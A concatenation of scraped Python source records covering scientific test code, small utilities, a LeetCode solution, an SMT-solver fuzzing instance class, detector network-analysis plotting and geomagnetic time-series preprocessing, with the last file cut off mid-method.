test_substance = Substance()\n\n test_substance.add_component(Substance.Component('C', role=Substance.ComponentRole.Solute),\n Substance.ExactAmount(1))\n\n test_substance.add_component(Substance.Component('CC', role=Substance.ComponentRole.Ligand),\n Substance.ExactAmount(1))\n\n test_substance.add_component(Substance.Component('CCC', role=Substance.ComponentRole.Receptor),\n Substance.ExactAmount(1))\n\n test_substance.add_component(Substance.Component('O', role=Substance.ComponentRole.Solvent),\n Substance.MoleFraction(1.0))\n\n return test_substance\n\n filter_protocol = FilterSubstanceByRole('filter_protocol')\n filter_protocol.input_substance = create_substance()\n\n filter_protocol.component_role = filter_role\n filter_protocol.execute('', ComputeResources())\n\n assert len(filter_protocol.filtered_substance.components) == 1\n assert filter_protocol.filtered_substance.components[0].role == filter_role\n\n\ndef test_solvation_protocol():\n \"\"\"Tests solvating a single methanol molecule in water.\"\"\"\n\n methanol_substance = Substance()\n methanol_substance.add_component(Substance.Component('CO'), Substance.ExactAmount(1))\n\n water_substance = Substance()\n water_substance.add_component(Substance.Component('O'), Substance.MoleFraction(1.0))\n\n with tempfile.TemporaryDirectory() as temporary_directory:\n\n build_methanol_coordinates = BuildCoordinatesPackmol('build_methanol')\n\n build_methanol_coordinates.max_molecules = 1\n build_methanol_coordinates.substance = methanol_substance\n\n build_methanol_coordinates.execute(temporary_directory, ComputeResources())\n\n solvate_coordinates = SolvateExistingStructure('solvate_methanol')\n\n solvate_coordinates.max_molecules = 9\n solvate_coordinates.substance = water_substance\n solvate_coordinates.solute_coordinate_file = build_methanol_coordinates.coordinate_file_path\n\n solvate_coordinates.execute(temporary_directory, ComputeResources())\n\n solvated_pdb = PDBFile(solvate_coordinates.coordinate_file_path)\n\n assert solvated_pdb.topology.getNumResidues() == 10\n","sub_path":"propertyestimator/tests/test_workflow/test_protocols.py","file_name":"test_protocols.py","file_ext":"py","file_size_in_byte":13957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"478246766","text":"\n\nfrom xai.brain.wordbase.adjectives._sleepy import _SLEEPY\n\n#calss header\nclass _SLEEPIER(_SLEEPY, ):\n\tdef __init__(self,): \n\t\t_SLEEPY.__init__(self)\n\t\tself.name = \"SLEEPIER\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"sleepy\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_sleepier.py","file_name":"_sleepier.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"583631762","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\nfrom functools import reduce\n\n\n\"\"\" Filter text to pure han-zi \n\n\"\"\"\ndef get_han(string):\n result = [s for s in re.findall(u\"[\\u4e00-\\u9fa5]+\", string) if s != \"\"]\n result = reduce(lambda e1,e2: e1+e2, result, \"\")\n return result\n\n\n\"\"\" Split sentences accroding to punctuation marks\n\n\"\"\"\nclass SplitSents:\n def __init__(self):\n self.cut_symbol = \"，。？！：;,.?!；、\"\n pass\n\n def FindToken(self, cutlist, char):\n if char in cutlist:\n return True\n else:\n return False\n\n\n def split(self, lines):\n cutlist = list(self.cut_symbol)\n be_splited = []\n tmp = []\n\n for ln in lines:\n if self.FindToken(cutlist, ln):\n tmp.append(ln)\n be_splited.append(''.join(tmp))\n tmp = []\n else:\n tmp.append(ln)\n yield be_splited\n #return be_splited\n\n\n def get_sents(self, text):\n result = []\n iter_sents = self.split(text)\n splited_sents = [\n get_han(str(s))\n for sents in iter_sents for s in sents\n if get_han(str(s)) != \"\"\n ]\n result += splited_sents\n return result\n\n\n# End of File\n","sub_path":"split_sents.py","file_name":"split_sents.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"575293371","text":"users = {'aeinstein' : {'first':'albert','last' :'elistein','location' : 'princeton'},\n 'mcurie' : {'first' : 'marie' , 'last' :'curie', 'location' : 'paris'}\n }\n\nfor username , userinfo in users.items() :\n print(\"\\nusername : \" + username)\n full_name = userinfo['first'] + \" \" +userinfo['last']\n location = userinfo['location']\n\n print(\"\\nfull name :\" + full_name.title())\n print(\"location : \" + location.title())\n","sub_path":"Python/第6章_字典/many_users.py","file_name":"many_users.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"545467458","text":"# Copyright (c) 2018 Masashi Takahashi\n# This software is released under the MIT License.\n\n# cognateset.py version 1.0.1\n\n__all__ = ['CognateSet']\n\nfrom _collections_abc import KeysView as _KeysView\n\ndef _transfer_error(error):\n transfer = error.__class__(*error.args)\n transfer.__suppress_context__ = True\n return transfer\n\nclass _ElementError(Exception):\n def __init__(self, *args):\n self.__suppress_context__ = True\n\nclass _ElementsView(_KeysView):\n def __repr__(self):\n return '_ElementsView(%r)' % list(self._mapping.keys())\n \nclass _CognatesView():\n def __init__(self, cognates, protect):\n self.__cognates = cognates\n self.__protect = protect\n\n def __iter__(self):\n if self.__protect:\n for cognate in self.__cognates:\n yield cognate.copy()\n else:\n yield from self.__cognates\n\n def __repr__(self):\n if self:\n return '_CognatesView([' + ', '.join(repr(cognate)[9:-1]\n for cognate in self.__cognates) + '])'\n return '_CognatesView([])'\n\n def __len__(self):\n return len(self.__cognates)\n\n def __contains__(self, iterable):\n elems = set(iterable)\n for cognate in self.__cognates:\n if elems == cognate:\n return True\n return False\n \n def __eq__(self, other):\n if not isinstance(other, _CognatesView):\n return False\n if self.__len__() != other.__len__():\n return False\n return (set(map(tuple, self.__cognates)) ==\n set(map(tuple, other.__cognates)))\n \n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __bool__(self):\n if self.__cognates:\n return True\n return False\n\nclass _Cognate(set):\n __slots__ = ()\n __hash__ = object.__hash__\n def _copy(self):\n c = _Cognate()\n c.update(self)\n return c\n\nclass CognateSet():\n def __init__(self, *args):\n if len(args) > 1:\n raise TypeError('expected at most 1 arguments, got %d' % len(args))\n self.__mapping = {}\n self.__sets = set()\n if args:\n try:\n self.expand(args[0])\n except Exception as e:\n raise _transfer_error(e)\n\n def join(self, iterable):\n mapping, sets = self.__mapping, self.__sets\n sub_cognates = set()\n new_cognate = _Cognate()\n\n for elem in set(iterable):\n if elem in mapping:\n sub_cognates.add(mapping[elem])\n else:\n new_cognate.add(elem)\n\n if not new_cognate and len(sub_cognates) < 2:\n return\n\n max_size = 0\n for cognate in sub_cognates:\n size = len(cognate)\n if size > max_size:\n max_size, super_cognate = size, cognate\n\n if new_cognate:\n if len(new_cognate) > max_size:\n for elem in new_cognate:\n mapping[elem] = new_cognate\n sets.add(new_cognate)\n if not sub_cognates:\n return\n super_cognate = new_cognate\n else:\n sub_cognates.add(new_cognate)\n sub_cognates.remove(super_cognate)\n else:\n sub_cognates.remove(super_cognate)\n\n for sub_cognate in sub_cognates:\n for elem in sub_cognate:\n mapping[elem] = super_cognate\n super_cognate |= sub_cognate\n sets.discard(sub_cognate)\n\n def expand(self, other):\n other = other.__sets if isinstance(other, CognateSet) else other\n try:\n for iterable in other:\n self.join(iterable)\n except Exception as e:\n raise _transfer_error(e)\n\n def reorg(self, iterable):\n mapping, sets = self.__mapping, self.__sets\n new_cognate = _Cognate()\n new_cognate.update(iterable)\n for elem in new_cognate:\n if elem in mapping:\n cognate = mapping[elem]\n cognate.remove(elem)\n if not cognate:\n sets.remove(cognate)\n mapping[elem] = new_cognate\n sets.add(new_cognate)\n\n def cognate(self, elem, protect=True):\n mapping = self.__mapping\n if elem in mapping:\n if protect:\n return mapping[elem].copy()\n return mapping[elem]\n return set()\n\n __default = object()\n\n def pop(self, elem=__default, default=__default):\n if elem is self.__default:\n try:\n cognate = self.__sets.pop()\n except KeyError:\n raise _ElementError('CognateSet is empty')\n else:\n if elem not in self:\n if default is self.__default:\n raise _ElementError('%r is not a element' % (elem))\n return default\n cognate = self.__mapping[elem]\n self.__sets.remove(cognate)\n mapping = self.__mapping\n for e in cognate:\n del mapping[e]\n return cognate\n\n def delelem(self, elem):\n try:\n cognate = self.__mapping[elem]\n except KeyError:\n raise _ElementError('%r is not a element' % (elem))\n cognate.remove(elem)\n if not cognate:\n self.__sets.remove(cognate)\n del self.__mapping[elem]\n\n def delcog(self, elem):\n try:\n cognate = self.__mapping[elem]\n except KeyError:\n raise _ElementError('%r is not a element' % (elem))\n mapping = self.__mapping\n for e in cognate:\n del mapping[e]\n self.__sets.remove(cognate)\n\n def elements(self):\n return _ElementsView(self.__mapping)\n\n def cognates(self, protect=True):\n return _CognatesView(self.__sets, protect)\n\n def copy(self):\n cs = CognateSet()\n cs.__sets = set(cognate._copy() for cognate in self.__sets)\n cs.__mapping = {elem: cognate for cognate in cs.__sets for elem in cognate}\n return cs\n\n def clear(self):\n self.__mapping.clear()\n self.__sets.clear()\n\n def __iter__(self):\n for cognate in self.__sets:\n yield cognate.copy()\n\n def __repr__(self):\n if self:\n return 'CognateSet(' + ', '.join(repr(cognate)[9:-1]\n for cognate in self.__sets) + ')'\n return 'CognateSet()'\n\n def __len__(self):\n return len(self.__sets)\n\n def __contains__(self, item):\n return item in self.__mapping\n\n def __eq__(self, other):\n if not isinstance(other, CognateSet):\n return False\n if self.ncogs != other.ncogs:\n return False\n if self.__mapping.keys() == other.__mapping.keys():\n return set(map(tuple, self.__sets)) == set(map(tuple, other.__sets))\n return False\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __bool__(self):\n if self.__sets:\n return True\n return False\n\n def __copy__(self):\n return self.copy()\n \n @property\n def nelems(self):\n return len(self.__mapping)\n","sub_path":"cognateset.py","file_name":"cognateset.py","file_ext":"py","file_size_in_byte":7243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"617175411","text":"\"\"\"\nGiven a non-empty string s and a dictionary wordDict containing a list of non-empty words, determine if s can be segmented into a space-separated sequence of one or more dictionary words.\n\nNote:\n\nThe same word in the dictionary may be reused multiple times in the segmentation.\nYou may assume the dictionary does not contain duplicate words.\nExample 1:\n\nInput: s = \"leetcode\", wordDict = [\"leet\", \"code\"]\nOutput: true\nExplanation: Return true because \"leetcode\" can be segmented as \"leet code\".\nExample 2:\n\nInput: s = \"applepenapple\", wordDict = [\"apple\", \"pen\"]\nOutput: true\nExplanation: Return true because \"applepenapple\" can be segmented as \"apple pen apple\".\n Note that you are allowed to reuse a dictionary word.\nExample 3:\n\nInput: s = \"catsandog\", wordDict = [\"cats\", \"dog\", \"sand\", \"and\", \"cat\"]\nOutput: false\n\"\"\"\nclass Solution:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n visited = set()\n q = collections.deque([0])\n while q:\n start = q.popleft()\n if start not in visited:\n for end in range(start+1,len(s)+1):\n if s[start:end] in wordDict:\n if end == len(s):\n return True\n else:\n q.append(end)\n visited.add(start)\n return False","sub_path":"139. Word Break/139. Word Break.py","file_name":"139. Word Break.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"418785640","text":"import sys,os,copy,pdb,random,time\r\nimport numpy as np\r\nimport banditfuzz.interface.Settings as settings\r\nfrom banditfuzz.interface.smtlib.script import SMTLIBScript,print_sexp\r\nfrom banditfuzz.solver import run_solver\r\n\r\ndef par2(x): \r\n\tif x < settings.timeout: return x\r\n\telse: return 2.0 * settings.timeout\r\n\r\nclass Instance(SMTLIBScript):\r\n\tdef __init__(self,val=None):\r\n\t\tif settings.theory == 'QF_S':\r\n\t\t\tassert isinstance(val,str)\r\n\t\telse:\r\n\t\t\tassert isinstance(val,list)\r\n\t\r\n\t\tsuper().__init__()\r\n\t\tself.primaries = val\r\n\t\tself.times = {}\r\n\t\tself.results = {}\r\n\t\tself.name = str(time.time()).replace(\".\",\"\") + str(os.getpid()) + str(random.randint(0,99999999)) + \".smt2\"\r\n\t\tself.err_log = {}\r\n\t\tself._score = None\r\n\tdef solve(self):\r\n\t\tfor solver in settings.solvers:\r\n\t\t\tout, time, dump = run_solver(self,solver)\r\n\t\t\tself.results[solver] = out\r\n\t\t\tself.times[solver] = par2(time)\r\n\t\t\tif out is 'err': self.err_log[solver] = dump\r\n\t\tif len(self.err_log) > 0:\r\n\t\t\tself.to_file(settings.db + '/crashes/')\r\n\r\n\tdef score(self):\r\n\t\tif self._score != None: return self._score\r\n\t\tif self.inconsistent():\r\n\t\t\tself.to_file(settings.db + '/bugs/')\r\n\t\t\tif settings.BugMode: self._score = 1.0\r\n\t\telif settings.BugMode: self._score = 0.0\r\n\t\telif len(self.err_log) > 0: self._score = 0.0\r\n\t\telif len(self.times) == 1: self._score = par2(self.times[settings.solvers[0]]) if settings.solvers[0] not in self.err_log else float('-inf')\r\n\t\telse: self._score = par2(self.times[settings.solvers[0]]) - max([par2(self.times[solver]) for solver in settings.solvers if solver != settings.solvers[0] and solver not in self.err_log])\r\n\t\treturn self._score\r\n\tdef mk_auxilary(self):\r\n\t\tassert settings.theory == 'QF_FP'\r\n\t\tfor c in self.funcs:\r\n\t\t\tif settings.ConstNonNanTerms:\r\n\t\t\t\tself.mk_assert(self.mk_not(self.mk_fp_isNaN(c)))\r\n\t\t\tif settings.ConstNonInfTerms:\r\n\t\t\t\tself.mk_assert(self.mk_not(self.mk_fp_isInfinite(c)))\r\n\t\t\tif settings.ConstNonZeroTerms:\r\n\t\t\t\tself.mk_assert(self.mk_not(self.mk_fp_isZero(c)))\r\n\t\t\tif settings.ConstNonSubNormalTerms:\r\n\t\t\t\tself.mk_assert(self.mk_not(self.mk_fp_isSubnormal(c)))\r\n\t\t\tif settings.ConstRestrictRange_m1_p1:\r\n\t\t\t\tself.mk_assert(self.mk_and(self.mk_fp_lt(c,self.mk_literal(\"0\",\"01111111\",\"00000000000000000000000\")), self.mk_fp_gt(c,self.mk_literal(\"1\",\"01111111\",\"00000000000000000000000\"))))\r\n\r\n\tdef num_rounding_modes(self,form=None,prim_indx=0):\r\n\t\tassert settings.theory == 'QF_FP'\r\n\t\tif form is None:\r\n\t\t\tform = self.primaries[prim_indx]\r\n\t\tif len(form) == 1 or isinstance(form, str) or form.op == \"fp\":\r\n\t\t\treturn 0\r\n\t\telse:\r\n\t\t\top = form.op\r\n\t\t\tret = 0\r\n\t\t\tstart = 0\r\n\t\t\tif self.ops[op][0] == \"Mode\":\r\n\t\t\t\tstart = 1\r\n\t\t\t\tret += 1\r\n\t\t\tfor arg in form.args[start:]:\r\n\t\t\t\tret += self.num_rounding_modes(arg)\r\n\t\t\treturn ret\r\n\r\n\tdef num_primary_terms(self, form=None, prim_indx=0 , count_round=False):\r\n\t\tassert settings.theory == 'QF_FP'\r\n\t\tif form is None:\r\n\t\t\tform = self.primaries[prim_indx]\r\n\t\tassert len(form) > 0\r\n\t\t#single float\r\n\t\tif len(form) == 1 or isinstance(form, str) or form.op == \"fp\":\r\n\t\t\treturn 1\r\n\t\telse:\r\n\t\t\top = form.op\r\n\t\t\tret = 1\r\n\t\t\tstart = 0\r\n\t\t\tif self.ops[op][0] == \"Mode\":\r\n\t\t\t\tstart = 1\r\n\t\t\t\tif count_round:\r\n\t\t\t\t\tret += 1\r\n\t\t\tfor arg in form.args[start:]:\r\n\t\t\t\tret += self.num_primary_terms(arg, count_round)\r\n\t\t\treturn ret\r\n\t\r\n\tdef num_consts(self,form=None,prim_indx=0):\r\n\t\tassert settings.theory == 'QF_FP'\r\n\t\tif form is None:\r\n\t\t\tform = self.primaries[prim_indx]\r\n\t\tassert len(form) > 0\r\n\t\tif isinstance(form, str):\r\n\t\t\tif form in self.funcs:\r\n\t\t\t\treturn 1\r\n\t\t\treturn 0\r\n\t\t#single float\r\n\t\telif len(form) == 1:\r\n\t\t\treturn 1\r\n\t\telse:\r\n\t\t\top = form.op\r\n\t\t\tret = 0\r\n\t\t\tstart = 0\r\n\t\t\tif self.ops[op][0] == \"Mode\":\r\n\t\t\t\tstart = 1\r\n\t\t\tfor arg in form.args[start:]:\r\n\t\t\t\tret += self.num_consts(arg)\r\n\t\t\treturn ret\r\n\r\n\tdef num_float_ops(self, form=None,prim_indx=0):\r\n\t\tassert settings.theory == 'QF_FP'\r\n\t\tif form is None:\r\n\t\t\tform = self.primaries[prim_indx]\r\n\r\n\t\tassert len(form) > 0\r\n\t\t#single float\r\n\t\tif len(form) == 1 or isinstance(form, str) or form.op == \"fp\":\r\n\t\t\treturn 0\r\n\t\telse:\r\n\t\t\top = form.op\r\n\t\t\tret = 0\r\n\t\t\tif not self.ops[op][-1] == \"Bool\":\r\n\t\t\t\tret = 1\r\n\t\t\tstart = 0\r\n\t\t\tif self.ops[op][0] == \"Mode\":\r\n\t\t\t\tstart = 1\r\n\t\t\tfor arg in form.args[start:]:\r\n\t\t\t\tret += self.num_float_ops(arg)\r\n\t\t\treturn ret\r\n\r\n\tdef to_file(self,loc,name=None):\r\n\t\tif name == None: name = self.name\r\n\t\tif loc[-1] != '/': loc = loc + '/'\r\n\t\twith open(loc + name ,'w') as outFile:\r\n\t\t\toutFile.write(\"; depth = \" + str(settings.GeneratorMaxDepth) + \"\\n\")\r\n\t\t\toutFile.write(\"; nconst = \" + str(settings.GeneratorNumConst) + \"\\n\")\r\n\t\t\tif settings.theory == 'QF_FP':\r\n\t\t\t\toutFile.write(\"; fplen = \" + str(settings.FloatWidth) + \"\\n\")\r\n\t\t\toutFile.write(\"; assertions = \" + str(settings.NumPrimaries ) + \"\\n\")\r\n\t\t\toutFile.write(\"; timeout = \" + str(settings.timeout) + \"\\n\")\t\t\r\n\t\t\toutFile.write(\"; time = \" + str(self.times) \t\t+ \"\\n\" )\r\n\t\t\tif settings.theory == 'QF_FP':\t\t\t\t\r\n\t\t\t\toutFile.write(\"; terms = \" + str(n_terms) \t+ \"\\n\" )\r\n\t\t\tif len(self.err_log) > 0:\t\t\t\t\r\n\t\t\t\toutFile.write(\"; output = \" + str(self.err_log) \t+ \"\\n\" )\r\n\t\t\toutFile.write(\"; score = \" + str(self.score())\t+ \"\\n\")\r\n\t\t\toutFile.write(\"; result = \" + str(self.results) \t\t+ \"\\n\")\r\n\t\t\toutFile.write(str(self))\r\n\t\t\toutFile.close()\r\n\r\n\tdef __lt__(self, other):\r\n\t\treturn self.score() < other.score()\r\n\r\n\tdef __str__(self):\r\n\t\tif settings.theory == 'QF_FP':\r\n\t\t\treturn super().__str__()\r\n\t\telse:\r\n\t\t\treturn self.primaries\r\n\t\r\n\t__repr__ = __str__\r\n\t\r\n\tdef inconsistent(self):\r\n\t\tfor solver in self.results:\r\n\t\t\tclean = \"\"\r\n\t\t\tfor i in range(len(self.results[solver])):\r\n\t\t\t\tif self.results[solver][i].isalpha():\r\n\t\t\t\t\tclean = clean + self.results[solver][i]\r\n\t\t\tself.results[solver] = clean\r\n\t\tans = \"\"\r\n\t\tsays_sat = False\r\n\t\tsays_unsat = False\r\n\t\tfor solver in self.results:\r\n\t\t\tif self.results[solver] == \"sat\":\r\n\t\t\t\tsays_sat = True\r\n\t\t\tif self.results[solver] == \"unsat\":\r\n\t\t\t\tsays_unsat = True\r\n\t\treturn says_sat and says_unsat\r\n\t","sub_path":"banditfuzz/instance.py","file_name":"instance.py","file_ext":"py","file_size_in_byte":5977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"160400085","text":"# netanal_summary.py\n#\n# Plots summarizing the results of network analysis.\n#\n# Adam Anderson\n# adama@fnal.gov\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cPickle as pickle\nimport seaborn as sb\n\n# aesthetics \nsb.set_style('white')\nsb.set_context(\"notebook\", font_scale=1.5)\nsb.set_palette(\"Set1\", 12)\ncmap4 = sb.color_palette(\"Set1\", n_colors=4)\n\ntag = 'fnal_run14'\n\n# WARM vs. COLD\ndatapath_cold = ['/home/spt3g/pydfmux_output/20160824/20160824_200342_take_netanal/data/',\n '/home/spt3g/pydfmux_output/20160824/20160824_200342_take_netanal/data/',\n '/home/spt3g/pydfmux_output/20160824/20160824_200342_take_netanal/data/',\n '/home/spt3g/pydfmux_output/20160824/20160824_200342_take_netanal/data/',\n '/home/spt3g/pydfmux_output/20160824/20160824_200342_take_netanal/data/']\ndatapath_warm = ['/home/spt3g/pydfmux_output/20160824/20160825_002331_take_netanal/data/',\n '/home/spt3g/pydfmux_output/20160824/20160825_002331_take_netanal/data/',\n '/home/spt3g/pydfmux_output/20160824/20160825_002331_take_netanal/data/',\n '/home/spt3g/pydfmux_output/20160824/20160825_002331_take_netanal/data/',\n '/home/spt3g/pydfmux_output/20160824/20160825_002331_take_netanal/data/']\nfilestubs = ['IceBoard_0028.Mezz_1.ReadoutModule_3_OUTPUT',\n 'IceBoard_0028.Mezz_2.ReadoutModule_1_OUTPUT',\n 'IceBoard_0028.Mezz_2.ReadoutModule_2_OUTPUT',\n 'IceBoard_0028.Mezz_2.ReadoutModule_3_OUTPUT',\n 'IceBoard_0028.Mezz_2.ReadoutModule_4_OUTPUT']\nnames = ['LC68.v3.b2.c16',\n 'LC68.v3.b2.c20',\n 'LC68.v3.b2.c19',\n 'LC68.v3.b5.c16',\n 'LC68.v3.b5.c15']\nfor jrm in range(len(datapath_cold)):\n data_cold = pickle.load(file(datapath_cold[jrm] + filestubs[jrm] + '_analysisresults.pkl', 'r'))\n data_warm = pickle.load(file(datapath_warm[jrm] + filestubs[jrm] + '_analysisresults.pkl', 'r'))\n rawdata_cold = pickle.load(file(datapath_cold[jrm] + filestubs[jrm] + '.pkl', 'r'))\n rawdata_warm = pickle.load(file(datapath_warm[jrm] + filestubs[jrm] + '.pkl', 'r'))\n\n R_cold = data_cold['fitresistance']\n R_warm = data_warm['fitresistance']\n\n NA_cold = rawdata_cold['carrier_NA']['amp'] / rawdata_cold['nuller_NA']['amp']\n freq_cold = rawdata_cold['carrier_NA']['freq']\n NA_warm = rawdata_warm['carrier_NA']['amp'] / rawdata_warm['nuller_NA']['amp']\n freq_warm = rawdata_warm['carrier_NA']['freq']\n\n plt.figure()\n plt.plot(np.arange(1,len(R_cold)+1), R_cold, 'bo', label='cold')\n plt.plot(np.arange(1,len(R_warm)+1), R_warm, 'go', label='warm')\n plt.legend()\n plt.xlabel('resonance #')\n plt.ylabel('resistance [Ohm]')\n plt.title(names[jrm])\n plt.tight_layout()\n plt.savefig('figures/%s_%s_RVresonance.png'%(tag,names[jrm]))\n\n plt.figure(figsize=(15,5))\n plt.plot(freq_cold/1e6, NA_cold, label='cold')\n plt.plot(freq_warm/1e6, NA_warm, label='warm')\n plt.title(names[jrm])\n plt.xlabel('frequency [MHz]')\n plt.ylabel('amplitude')\n plt.axis([1.5, 7, 0, 2])\n plt.tight_layout()\n plt.savefig('figures/%s_%s_NA_warmVcold.png'%(tag,names[jrm]))\n\n\n# Dump data to file\ndata = dict()\nfor jrm in range(len(datapath_cold)):\n data_cold = pickle.load(file(datapath_cold[jrm] + filestubs[jrm] + '_analysisresults.pkl', 'r'))\n freq_cold = np.loadtxt(datapath_cold[jrm] + filestubs[jrm] + '_fit_freqs.txt', skiprows=1)\n R_data = data_cold['fitresistance']\n\n data[names[jrm]] = {'Rp': data_cold['fitresistance'], 'freq': freq_cold[:,1]}\n\nfout = file('netanal_results.pkl', 'w')\npickle.dump(data, fout)\nfout.close()\n\nplt.show()\n\n\n\n \n'''\n# Resistor boards: measured vs. expected R\nresistors=np.array([ 1., 0., 1., 0., 0., 2., 2., 0., 1., 2., 0., 2., 2.,\n 1., 1., 0., 2., 0., 2., 1., 1., 2., 1., 0., 1., 2.,\n 0., 1., 2., 0., 1., 2., 1., 1., 0., 0., 2., 2., 1.,\n 1., 0., 0., 2., 2., 1., 1., 0., 1., 2., 1., 1., 0.,\n 2., 2., 0., 1., 0., 2., 2., 1., 1., 1., 2., 1., 2.,\n 0., 2., 0.])+0.12#extra factor based on 4-wire measurement\ndatapath = '/home/spt3g/pydfmux_output/20160530/20160530_213630_take_netanal/data/'\nresults_filenames = ['IceBoard_0132.Mezz_2.ReadoutModule_3_OUTPUT_analysisresults.pkl',\n 'IceBoard_0132.Mezz_2.ReadoutModule_4_OUTPUT_analysisresults.pkl']\nnames = ['c4', 'c10']\nfor jrm in range(len(results_filenames)):\n data = pickle.load(file(datapath + results_filenames[jrm], 'r'))\n\n R_data = data['fitresistance']\n\n plt.figure()\n plt.plot(np.arange(1,len(R_data)+1), R_data, 'ko', label='cold')\n plt.plot(np.arange(1,len(resistors)+1), resistors, 'bx')\n for jpeak in range(len(resistors)):\n plt.plot([np.arange(1,len(R_data)+1), np.arange(1,len(R_data)+1)],\n [R_data, resistors], 'k-')\n plt.legend()\n plt.xlabel('resonance #')\n plt.ylabel('resistance [Ohm]')\n plt.savefig('figures/%s_%s_RmeasVRexpect.png'%(tag,names[jrm]))\n\n\n# List circuit parameters\ndatapath_cold = '/home/spt3g/pydfmux_output/20160530/20160530_213630_take_netanal/data/'\ndatapath_warm = '/home/spt3g/pydfmux_output/20160605/20160605_164520_take_netanal/data/'\nresults_filenames = ['IceBoard_0132.Mezz_1.ReadoutModule_2_OUTPUT_analysisresults.pkl',\n 'IceBoard_0132.Mezz_1.ReadoutModule_3_OUTPUT_analysisresults.pkl',\n 'IceBoard_0132.Mezz_2.ReadoutModule_3_OUTPUT_analysisresults.pkl',\n 'IceBoard_0132.Mezz_2.ReadoutModule_4_OUTPUT_analysisresults.pkl']\nnames = ['c21', 'c22', 'c4', 'c10']\nfor jrm in range(len(results_filenames)):\n data_cold = pickle.load(file(datapath_cold + results_filenames[jrm], 'r'))\n data_warm = pickle.load(file(datapath_warm + results_filenames[jrm], 'r'))\n\n params_cold = data_cold['fitresult'].x[:5]\n params_warm = data_warm['fitresult'].x[:5]\n\n print('|-')\n print('| %s (cold) \\n| %.2e \\n| %.2e \\n| %.2e \\n| %.2e \\n| %.2e' % (names[jrm], params_cold[0], params_cold[1], params_cold[2], params_cold[3], params_cold[4]))\n print('|-')\n print('| %s (warm) \\n| %.2e \\n| %.2e \\n| %.2e \\n| %.2e \\n| %.2e' % (names[jrm], params_warm[0], params_warm[1], params_warm[2], params_warm[3], params_warm[4]))\nprint('|-')\n'''\n","sub_path":"test_cryostat/netanal/netanal_summary.py","file_name":"netanal_summary.py","file_ext":"py","file_size_in_byte":6570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"70535951","text":"from sklearn.base import BaseEstimator, TransformerMixin, RegressorMixin, clone\nfrom sklearn.utils import safe_mask, check_scalar\nfrom sklearn.utils.validation import check_is_fitted, check_X_y, check_array, check_consistent_length\n\nimport numpy as np\nimport pandas as pd\nfrom fireTS.utils import MetaLagFeatureProcessor, shift\nfrom GeoMagTS.utils import get_storm_indices\nimport matplotlib.pyplot as plt\n\nclass DataFrameSelector(BaseEstimator, TransformerMixin):\n def __init__(self, column_names=None):\n self.column_names = column_names\n def fit(self, X, y=None):\n return self\n def transform(self, X, y=None):\n if self.column_names is None:\n return X\n else: \n return X[self.column_names]\n\nclass timeResolutionResampler(BaseEstimator, TransformerMixin):\n def __init__(self, time_resolution='5T', func=np.mean):\n self.time_resolution=time_resolution\n self.func=func\n \n def fit(self, X, y=None):\n return self \n \n def transform(self, X, y=None):\n return X.resample(self.time_resolution).apply(self.func)\n\nclass stormsProcessor(BaseEstimator, TransformerMixin):\n def __init__(self,\n storm_times_df=None,\n storms_to_use=None,\n start='1980', \n end='2020',\n time_resolution='5T',\n min_threshold=None,\n interpolate=True):\n self.storm_times_df = storm_times_df\n self.storms_to_use = storms_to_use\n self.start = start \n self.end = end\n self.time_resolution = time_resolution\n self.min_threshold = min_threshold\n self.interpolate = interpolate \n \n def fit(self, X, y=None, target_column=0):\n self.columns_ = X.columns\n self.times_ = X.index\n self.target_column_ = target_column\n \n if self.storm_times_df is None:\n self.data_ = X.to_numpy()\n else:\n # TODO: Error handling\n times_to_include = pd.date_range(start=self.start,\n end=self.end,\n freq=self.time_resolution,\n closed='left')\n self.storm_times_df = self.storm_times_df[\n (self.storm_times_df['start_time'] >= times_to_include[0]) &\n (self.storm_times_df['end_time'] <= times_to_include[-1])\n ]\n\n if self.storms_to_use is None:\n self.storms_to_use = self.storm_times_df.index\n \n storm_indices = get_storm_indices(\n X, self.storm_times_df, self.storms_to_use, time_resolution=self.time_resolution)\n storm_indices_concat = np.concatenate(storm_indices)\n self.times_ = X.index[storm_indices_concat]\n \n if self.interpolate:\n processed_data = np.vstack([X.iloc[storm_indices[i]].interpolate(\n method='time', axis=0, limit_direction='both').assign(storm=i) for i in range(len(storm_indices))])\n else:\n processed_data = np.vstack([X.iloc[storm_indices[i]].assign(\n storm=i) for i in range(len(storm_indices))])\n \n self.storm_labels_ = processed_data[:,-1].astype(int)\n self.data_ = processed_data\n # Remove storm column\n # self.data_ = np.delete(processed_data, -1, axis=1)\n \n return self\n \n def transform(self, X, y=None):\n X_ = np.delete(self.data_, self.target_column_, axis=1)\n y_ = self.data_[:,self.target_column_]\n return X_, y_\n \n def get_column_names(self):\n return self.columns_\n \n def get_times(self):\n return self.times_\n \n def get_storm_labels(self):\n return self.storm_labels_\n \n def get_target_column(self):\n return self.target_column_\n \n # TODO: plot_storms function\n def plot_storms(self):\n pass \n\n# TODO: Put interpolater here and allow user to specify it \nclass LagFeatureProcessor(BaseEstimator, TransformerMixin):\n def __init__(self, \n auto_order=10,\n exog_order=10,\n target_column=0,\n label_column=-1):\n # storm_labels=None):\n self.auto_order = auto_order\n self.exog_order = exog_order\n self.target_column = target_column\n self.label_column = label_column\n # self.storm_labels = storm_labels\n \n def fit(self, X, y=None):\n # Input validation\n # if 